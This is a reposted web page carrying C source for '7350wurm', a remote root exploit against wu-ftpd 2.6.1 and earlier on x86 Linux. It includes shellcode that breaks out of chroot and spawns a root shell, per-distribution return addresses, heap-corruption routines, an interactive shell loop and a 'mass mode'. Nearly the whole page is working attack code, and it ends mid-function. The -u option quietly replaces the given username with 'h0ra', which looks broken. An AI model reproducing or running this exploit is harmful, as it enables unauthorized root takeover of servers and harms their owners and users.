您的位置:首页 > 编程语言 > PHP开发

wu_ftpd <=2.6.1 remote root exploit

2011-05-18 18:20 423 查看
/* 7350wurm - x86/linux wu_ftpd remote root exploit

*

* TESO CONFIDENTIAL - SOURCE MATERIALS

*

* This is unpublished proprietary source code of TESO Security.

*

* The contents of these coded instructions, statements and computer

* programs may not be disclosed to third parties, copied or duplicated in

* any form, in whole or in part, without the prior written permission of

* TESO Security. This includes especially the Bugtraq mailing list, the

* www.hack.co.za website and any public exploit archive.

*

* The distribution restrictions cover the entire file, including this

* header notice. (This means, you are not allowed to reproduce the header).

*

* (C) COPYRIGHT TESO Security, 2001

* All Rights Reserved

*

*****************************************************************************

* thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and

* ideas (synnergy.net rocks, thank you buddies ! :).

*/

#define VERSION "0.2.2"

/* TODO 1. fix chroot break on linux 2.4.x (x >= 13?)

* (ptrace inject on ppid())

*/

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <arpa/telnet.h>

#include <netdb.h>

#include <errno.h>

#include <fcntl.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <stdarg.h>

#include <string.h>

#include <time.h>

#define INIT_CMD "unset HISTFILE;id;uname -a;\n"

/* shellcodes

*/

unsigned char x86_lnx_loop[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\xfe";

/* x86/linux write/read/exec code (41 bytes)

* does: 1. write (1, "\nsP\n", 4);

* 2. read (0, ncode, 0xff);

* 3. jmp ncode

*/

unsigned char x86_wrx[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01"

"\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb"

"\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd"

"\x80\xeb\x05\xe8\xed\xff\xff\xff";

unsigned char x86_lnx_execve[] =

/* 49 byte x86 linux PIC setreuid(0,0) + chroot-break

* code by lorian / teso

*/

"\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"

"\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"

"\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"

"\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"

"\x80"

/* 34 byte x86 linux argv code -sc

*/

"\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"

"\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"

"\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff";

/* setreuid/chroot/execve

* lorian / teso */

unsigned char x86_lnx_shell[] =

/* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and

* 2.4.13 they changed chroot behaviour. maybe to ptrace-inject

* on parent process (inetd) and execute code there. (optional)

*/

"\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"

"\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"

"\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"

"\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"

"\x80"

"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f"

"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";

typedef struct {

char * desc; /* distribution */

char * banner; /* ftp banner part */

unsigned char * shellcode;

unsigned int shellcode_len;

unsigned long int retloc; /* return address location */

unsigned long int cbuf; /* &cbuf[0] */

} tgt_type;

tgt_type tmanual = {

"manual values",

"unknown banner",

x86_wrx, sizeof (x86_wrx) - 1,

0x41414141, 0x42424242

};

tgt_type targets[] = {

{ "Caldera eDesktop|eServer|OpenLinux 2.3 update "

"[wu-ftpd-2.6.1-13OL.i386.rpm]",

"Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806e2b0, 0x080820a0 },

{ "Debian potato [wu-ftpd_2.6.0-3.deb]",

"Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806db00, 0x0807f520 },

{ "Debian potato [wu-ftpd_2.6.0-5.1.deb]",

"Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806db80, 0x0807f5a0 },

{ "Debian potato [wu-ftpd_2.6.0-5.3.deb]",

"Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806db80, 0x0807f5a0 },

{ "Debian sid [wu-ftpd_2.6.1-5_i386.deb]",

"Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806e7a0, 0x0807ffe0 },

{ "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]",

"Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x080713e0, 0x08082e00 },

{ "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]",

"Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x08072bd4, 0x08086400 },

{ "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]",

"Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f7f0, 0x08082600 },

{ "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]",

"Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x08071850, 0x08084660 },

{ "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]",

"Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806fec4, 0x08082b40 },

{ "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Mon Jan 18 19:19:31 EST 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x08061cf0, 0x08068540 }, /* XXX: manually found */

{ "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Mon Aug 3 19:17:20 EDT 1998",

x86_wrx, sizeof (x86_wrx) - 1,

0x08061c48, 0x08068490 }, /* XXX: manually found */

{ "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]",

"Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806b530, 0x08076550 }, /* XXX: manually found */

#if 0

/* XXX: not exploitable using synnergy.net method. (glob code

* does not handle {.,.,.,.}

*/

{ "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]",

"Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x08069f04, 0x08079f60 },

#endif

{ "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]",

"Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806e620, 0x080803e0 },

{ "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]",

"Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x08070538, 0x08083360 },

{ "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]",

"Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806cb88, 0x0807cc40 },

{ "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]",

"Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806e1a0, 0x0807fbc0 },

{ "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]",

"Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x08070ddc, 0x08084600 },

{ "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]",

"Version wu-2.6.1-16",

x86_wrx, sizeof (x86_wrx) - 1,

0x0807314c, 0x08085de0 },

{ "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]",

"Version wu-2.6.1-18",

x86_wrx, sizeof (x86_wrx) - 1,

0x08072c30, 0x08085900 },

{ "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]",

"Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806e6b4, 0x080800c0 },

{ "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Wed Aug 30 22:26:37 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806989c, 0x08069f80 },

{ "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]",

"Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f85c, 0x08081280 },

{ "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]",

"Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f4e0, 0x08080f00 },

{ "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Mon Jun 26 13:11:56 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806a234, 0x0806a880 },

{ "SuSE 7.0 [wuftpd.rpm]",

"Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f180, 0x08080ba0 },

{ "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Wed Sep 20 23:52:21 GMT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806a554, 0x0806aba0 },

{ "SuSE 7.1 [wuftpd.rpm]",

"Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f168, 0x08080980 },

{ "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Thu Mar 1 14:44:08 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806a534, 0x0806ab80 },

{ "SuSE 7.2 [wuftpd.rpm]",

"Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f58c, 0x08080dc0 },

{ "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Mon Jun 18 12:35:12 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806a784, 0x0806ae40 },

{ "SuSE 7.3 [wuftpd.rpm]",

"Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806f31c, 0x08080aa0 },

{ "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]",

"Version wu-2.4.2-academ[BETA-18](1) "

"Thu Oct 25 03:14:49 GMT 2001",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806a764, 0x0806ad60 },

#if 0

/* slackware (from 8 on they use proftpd by default) */

{ "Slackware 7",

"Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806d03c, 0x0808f648 },

#endif

{ "Slackware 7.1",

"Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000",

x86_wrx, sizeof (x86_wrx) - 1,

0x0806ba2c, },

{ NULL, NULL, 0, 0, 0, 0 },

};

/* exploitation related stuff.

* DO NOT CHANGE, except you know exactly what you are doing.

*/

#define CHUNK_POS 256

#define MALLOC_ALIGN_MASK 0x07

#define MALLOC_MINSIZE 0x10

#define CHUNK_ALLSIZE(s) \

CHUNK_ROUND((s)) + 0x08

#define CHUNK_ROUND(s) \

(((((s) + 4 + MALLOC_ALIGN_MASK)) < \

(MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \

(MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \

~MALLOC_ALIGN_MASK))

/* minimum sized malloc(n) allocation that will jield in an overall

* chunk size of s. (s must be a valid %8=0 chunksize)

*/

#define CHUNK_ROUNDDOWN(s) \

((s) <= 0x8) ? (1) : ((s) - 0x04 - 11)

#define CHUNK_STRROUNDDOWN(s) \

(CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1)

/* FTP related stuff

*/

char * dest = "127.0.0.1"; /* can be changed with -d */

char * username = "ftp"; /* can be changed with -u */

char * password = "mozilla@"; /* can be changed with -p */

char * ftp_banner = NULL;

int verbose = 0;

/* FTP prototypes

*/

void ftp_escape (unsigned char *buf, unsigned long int buflen);

void ftp_recv_until (int sock, char *buff, int len, char *begin);

int ftp_login (char *host, char *user, char *pass);

/* main prototypes

*/

void usage (char *progname);

void exploit (int fd, tgt_type *tgt);

void shell (int sock);

void hexdump (char *desc, unsigned char *data, unsigned int amount);

void tgt_list (void);

tgt_type * tgt_frombanner (unsigned char *banner);

void xp_buildsize (int fd, unsigned char this_size_ls,

unsigned long int csize);

void xp_gapfill (int fd, int rnfr_num, int rnfr_size);

int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);

void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);

/*** MASS mode stuff

*/

static int

sc_build_x86_lnx (unsigned char *target, size_t target_len,

unsigned char *shellcode, char **argv);

int mass = 0; /* enable with -m (kids, get hurt!) */

unsigned int mlen = 0;

unsigned char mcode[256];

/* imported from network.c

*/

#define NET_CONNTIMEOUT 60

#define NET_READTIMEOUT 20

int net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);

int net_connect (struct sockaddr_in *cs, char *server,

unsigned short int port, int sec);

void net_write (int fd, const char *str, ...);

int net_rtimeout (int fd, int sec);

int net_rlinet (int fd, char *buf, int bufsize, int sec);

/* exploitation related stuff, which is fixed on all wuftpd systems

*/

#define RNFR_SIZE 4

#define RNFR_NUM 73

int automode = 0; /* evil, do not use */

int debugmode = 0;

void

usage (char *progname)

{

fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n"

"\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n"

"\t[-L <retloc>] [-A <retaddr>]\n\n", progname);

fprintf (stderr,

"-h\tthis help\n"

"-v\tbe verbose (default: off, twice for greater effect)\n"

"-a\tAUTO mode (target from banner)\n"

"-D\tDEBUG mode (waits for keypresses)\n"

"-m\tenable mass mode (use with care)\n"

"-t num\tchoose target (0 for list, try -v or -v -v)\n"

"-u user\tusername to login to FTP (default: \"ftp\")\n"

"-p pass\tpassword to use (default: \"mozilla@\")\n"

"-d dest\tIP address or fqhn to connect to "

"(default: 127.0.0.1)\n"

"-L loc\toverride target-supplied retloc "

"(format: 0xdeadbeef)\n"

"-A addr\toverride target-supplied retaddr "

"(format: 0xcafebabe)\n");

fprintf (stderr, "\n");

exit (EXIT_FAILURE);

}

unsigned char * shellcode = NULL;

unsigned long int shellcode_len = 0;

unsigned long int user_retloc = 0,

user_retaddr = 0;

int

main (int argc, char *argv[])

{

char c;

char * progname; /* = argv[0] */

int fd;

tgt_type * tgt = NULL;

int tgt_num = -1;

unsigned char xpbuf[512 + 16];

fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "

"(version "VERSION")\n"

"team teso (thx bnuts, tomas, synnergy.net !).\n\n");

progname = argv[0];

if (argc < 2)

usage (progname);

while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {

switch (c) {

case 'h':

usage (progname);

break;

case 'a':

automode = 1;

break;

case 'D':

debugmode = 1;

break;

case 'v':

verbose += 1;

break;

case 'm':

mass = 1;

break;

case 't':

if (sscanf (optarg, "%u", &tgt_num) != 1)

usage (progname);

break;

case 'u':

username = "h0ra";

printf ("username = %s\n", optarg);

break;

case 'p':

password = optarg;

break;

case 'd':

dest = optarg;

break;

case 'L':

if (sscanf (optarg, "0x%lx", &user_retloc) != 1)

usage (progname);

break;

case 'A':

if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)

usage (progname);

break;

default:

usage (progname);

break;

}

}

/* if both required offsets are given manually, then we dont have

* to require a target selection. otherwise check whether the target

* is within the list. if its not, then print a list of available

* targets

*/

if (user_retloc != 0 && user_retaddr != 0) {

tgt = &tmanual;

} else if (automode == 0 && (tgt_num == 0 ||

tgt_num >= (sizeof (targets) / sizeof (tgt_type))))

{

if (tgt_num != 0)

printf ("WARNING: target out of list. list:\n\n");

tgt_list ();

exit (EXIT_SUCCESS);

}

if (tgt == NULL && automode == 0)

tgt = &targets[tgt_num - 1];

if (mass == 1) {

if ((argc - optind) == 0)

usage (progname);

mlen = sc_build_x86_lnx (mcode, sizeof (mcode),

x86_lnx_execve, &argv[optind]);

if (mlen >= 0xff) {

fprintf (stderr, "created argv-code too long "

"(%d bytes)\n", mlen);

exit (EXIT_FAILURE);

}

fprintf (stderr, "# created %d byte execve shellcode\n", mlen);

}

printf ("# trying to log into %s with (%s/%s) ...", dest,

username, password);

fflush (stdout);

fd = ftp_login (dest, username, password);

if (fd <= 0) {

fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");

exit (EXIT_FAILURE);

}

printf (" connected.\n");

if (debugmode) {

printf ("DEBUG: press enter\n");

getchar ();

}

printf ("# banner: %s", (ftp_banner == NULL) ? "???" :

ftp_banner);

if (tgt == NULL && automode) {

tgt = tgt_frombanner (ftp_banner);

if (tgt == NULL) {

printf ("# failed to jield target from banner, aborting\n");

exit (EXIT_FAILURE);

}

printf ("# successfully selected target from banner\n");

}

if (shellcode == NULL) {

shellcode = tgt->shellcode;

shellcode_len = tgt->shellcode_len;

}

if (verbose >= 2) {

printf ("using %lu byte shellcode:\n", shellcode_len);

hexdump ("shellcode", shellcode, shellcode_len);

}

if (user_retaddr != 0) {

fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",

user_retaddr);

}

if (user_retloc != 0) {

fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",

user_retloc);

tgt->retloc = user_retloc;

}

printf ("\n### TARGET: %s\n\n", tgt->desc);

/* real stuff starts from here

*/

printf ("# 1. filling memory gaps\n");

xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

exploit (fd, tgt);

printf ("# 3. triggering free(globlist[1])\n");

net_write (fd, "CWD ~{\n");

ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");

if (strncmp (xpbuf, "sP", 2) != 0) {

fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",

xpbuf);

exit (EXIT_FAILURE);

}

printf ("#\n# exploitation succeeded. sending real shellcode\n");

if (mass == 1) {

printf ("# mass mode, sending constructed argv code\n");

write (fd, mcode, mlen);

printf ("# send. sleeping 10 seconds\n");

sleep (10);

printf ("# success.\n");

exit (EXIT_SUCCESS);

}

printf ("# sending setreuid/chroot/execve shellcode\n");

net_write (fd, "%s", x86_lnx_shell);

printf ("# spawning shell\n");

printf ("##################################################"

"##########################\n");

write (fd, INIT_CMD, strlen (INIT_CMD));

shell (fd);

exit (EXIT_SUCCESS);

}

void

exploit (int fd, tgt_type *tgt)

{

unsigned long int dir_chunk_size,

bridge_dist,

padchunk_size,

fakechunk_size,

pad_before;

unsigned char * dl; /* dirlength */

unsigned char xpbuf[512 + 64];

/* figure out home directory length

*/

net_write (fd, "PWD\n");

ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");

dl = strchr (xpbuf, '"');

if (dl == NULL || strchr (dl + 1, '"') == NULL) {

fprintf (stderr, "faulty PWD reply: %s\n", xpbuf);

exit (EXIT_FAILURE);

}

dir_chunk_size = 0;

for (dl += 1 ; *dl != '"' ; ++dl)

dir_chunk_size += 1;

if (verbose)

printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf);

/* compute chunk size from it (needed later)

*/

dir_chunk_size += 3; /* ~/ + NUL byte */

dir_chunk_size = CHUNK_ROUND (dir_chunk_size);

if (debugmode)

printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size);

/* send preparation buffer to store the fakechunk in the end of

* the malloc buffer allocated from within the parser ($1)

*/

printf ("# 2. sending bigbuf + fakechunk\n");

xp_build (tgt, xpbuf, 500 - strlen ("LIST "));

if (verbose)

hexdump ("xpbuf", xpbuf, strlen (xpbuf));

ftp_escape (xpbuf, sizeof (xpbuf));

net_write (fd, "CWD %s\n", xpbuf);

ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");

/* synnergy.net uberleet method (thank you very much guys !)

*/

net_write (fd, "CWD ~/{.,.,.,.}\n");

ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

/* now, we flush the last-used-chunk marker in glibc malloc code. else

* we might land in a previously used bigger chunk, but we need a

* sequential order. "CWD ." will allocate a two byte chunk, which will

* be reused on any later small malloc.

*/

net_write (fd, "CWD .\n");

ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

/* cause chunk with padding size

*/

pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) +

dir_chunk_size - 0x08;

xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));

/* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */

bridge_dist = 0x10 + 4 * dir_chunk_size;

if (debugmode)

printf ("bridge_dist = 0x%08lx\n", bridge_dist);

/* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */

padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;

if (debugmode)

printf ("padchunk_size = 0x%08lx\n", padchunk_size);

/* +4 = this_size field itself */

fakechunk_size = CHUNK_POS + 4;

fakechunk_size -= pad_before;

fakechunk_size += 0x04; /* account for prev_size, too */

fakechunk_size |= 0x1; /* set PREV_INUSE */

if (debugmode)

printf ("fakechunk_size = 0x%08lx\n", fakechunk_size);

xp_buildsize (fd, fakechunk_size, 0x10);

/* pad down to the minimum possible size in 8 byte alignment

*/

if (verbose)

printf ("\npadchunk_size = 0x%08lx\n==> %lu\n",

padchunk_size, padchunk_size - 8 - 1);

xp_gapfill (fd, 1, padchunk_size - 8 - 1);

if (debugmode) {

printf ("press enter\n");

getchar ();

}

return;

}

/* tgt_list

*

* give target list

*/

void

tgt_list (void)

{

int tgt_num;

printf ("num . description\n");

printf ("----+-----------------------------------------------"

"--------\n");

for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {

printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);

if (verbose)

printf (" : %s\n", targets[tgt_num].banner);

if (verbose >= 2)

printf (" : retloc: 0x%08lx "

"cbuf: 0x%08lx\n",

targets[tgt_num].retloc,

targets[tgt_num].cbuf);

}

printf (" '\n");

return;

}

/* tgt_frombanner

*

* try to automatically select target from ftp banner

*

* return pointer to target structure on success

* return NULL on failure

*/

tgt_type *

tgt_frombanner (unsigned char *banner)

{

int tw; /* target list walker */

for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {

if (strstr (banner, targets[tw].banner) != NULL)

return (&targets[tw]);

}

return (NULL);

}

/* xp_buildsize

*

* set chunksize to this_size_ls. do this in a csize bytes long chunk.

* normally csize = 0x10. csize is always a padded chunksize.

*/

void

xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)

{

int n,

cw; /* chunk walker */

unsigned char tmpbuf[512];

unsigned char * leet = "7350";

for (n = 2 ; n > 0 ; --n) {

memset (tmpbuf, '\0', sizeof (tmpbuf));

for (cw = 0 ; cw < (csize - 0x08) ; ++cw)

tmpbuf[cw] = leet[cw % 4];

tmpbuf[cw - 4 + n] = '\0';

if (debugmode)

printf (": CWD %s\n", tmpbuf);

net_write (fd, "CWD %s\n", tmpbuf);

ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

}

memset (tmpbuf, '\0', sizeof (tmpbuf));

for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw)

tmpbuf[cw] = leet[cw % 4];

if (debugmode)

printf ("| CWD %s\n", tmpbuf);

net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls);

ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

/* send a minimum-sized malloc request that will allocate a chunk

* with 'csize' overall bytes

*/

xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize));

return;

}

/* xp_gapfill

*

* fill all small memory gaps in wuftpd malloc space. do this by sending

* rnfr requests which cause a memleak in wuftpd.

*

* return in any case

*/

void

xp_gapfill (int fd, int rnfr_num, int rnfr_size)

{

int n;

unsigned char * rb; /* rnfr buffer */

unsigned char * rbw; /* rnfr buffer walker */

unsigned char rcv_buf[512]; /* temporary receive buffer */

if (debugmode)

printf ("RNFR: %d x 0x%08x (%d)\n",

rnfr_num, rnfr_size, rnfr_size);

rbw = rb = calloc (1, rnfr_size + 6);

strcpy (rbw, "RNFR ");

rbw += strlen (rbw);

/* append a string of "././././". since wuftpd only checks whether

* the pathname is lstat'able, it will go through without any problems

*/

for (n = 0 ; n < rnfr_size ; ++n)

strcat (rbw, ((n % 2) == 0) ? "." : "/");

strcat (rbw, "\n");

for (n = 0 ; n < rnfr_num; ++n) {

net_write (fd, "%s", rb);

ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 ");

}

free (rb);

return;

}

#define ADDR_STORE(ptr,addr){\

((unsigned char *) (ptr))[0] = (addr) & 0xff;\

((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\

((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\

((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\

}

int

xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)

{

unsigned char * wl;

memset (buf, '\0', buf_len);

memset (buf, '0', CHUNK_POS);

xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);

for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) {

wl[0] = '\xeb';

wl[1] = '\x0c';

}

memcpy (&buf[buf_len - 1] - shellcode_len, shellcode,

shellcode_len);

return (strlen (buf));

}

/* xp_buildchunk

*

* build the fake malloc chunk that will overwrite retloc with retaddr

*/

void

xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)

{

unsigned long int retaddr_eff; /* effective */

if (user_retaddr)

retaddr_eff = user_retaddr;

else

retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16;

fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n",

tgt->retloc, retaddr_eff, clen);

/* easy, straight forward technique

*/

ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */

ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */

ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */

ADDR_STORE (&cspace[12], retaddr_eff); /* bk */

return;

}

void

shell (int sock)

{

int l;

char buf[512];

fd_set rfds;

while (1) {

FD_SET (0, &rfds);

FD_SET (sock, &rfds);

select (sock + 1, &rfds, NULL, NULL, NULL);

if (FD_ISSET (0, &rfds)) {

l = read (0, buf, sizeof (buf));

if (l <= 0) {

perror ("read user");

exit (EXIT_FAILURE);

}

write (sock, buf, l);

}

if (FD_ISSET (sock, &rfds)) {

l = read (sock, buf, sizeof (buf));

if (l == 0) {

printf ("connection closed by foreign host.\n");

exit (EXIT_FAILURE);

} else if (l < 0) {

perror ("read remote");

exit (EXIT_FAILURE);

}

write (1, buf, l);

}

}

}

/*** FTP functions

*/

/* FTP is TELNET is SHIT.

*/

void

ftp_escape (unsigned char *buf, unsigned long int buflen)

{

unsigned char * obuf = buf;

for ( ; *buf != '\0' ; ++buf) {

if (*buf == 0xff &&

(((buf - obuf) + strlen (buf) + 1) < buflen))

{

memmove (buf + 1, buf, strlen (buf) + 1);

buf += 1;

}

}

}

void

ftp_recv_until (int sock, char *buff, int len, char *begin)

{

char dbuff[2048];

if (buff == NULL) {

buff = dbuff;

len = sizeof (dbuff);

}

do {

memset (buff, '\x00', len);

if (net_rlinet (sock, buff, len - 1, 20) <= 0)

return;

} while (memcmp (buff, begin, strlen (begin)) != 0);

return;

}

int

ftp_login (char *host, char *user, char *pass)

{

int ftpsock;

char resp[512];

ftpsock = net_connect (NULL, host, 21, 30);

if (ftpsock <= 0)

return (0);

memset (resp, '\x00', sizeof (resp));

if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)

goto flerr;

/* handle multiline pre-login stuff (rfc violation !)

*/

